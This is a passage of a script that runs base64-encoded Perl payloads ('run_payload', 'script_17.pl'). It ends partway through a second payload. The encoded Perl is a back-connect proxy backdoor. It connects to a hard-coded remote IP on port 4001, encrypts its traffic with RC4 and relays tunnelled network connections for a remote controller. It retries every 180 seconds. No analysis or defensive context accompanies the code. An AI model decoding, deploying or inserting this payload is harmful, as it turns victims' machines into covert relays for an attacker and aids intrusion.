0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_17.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY2JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7D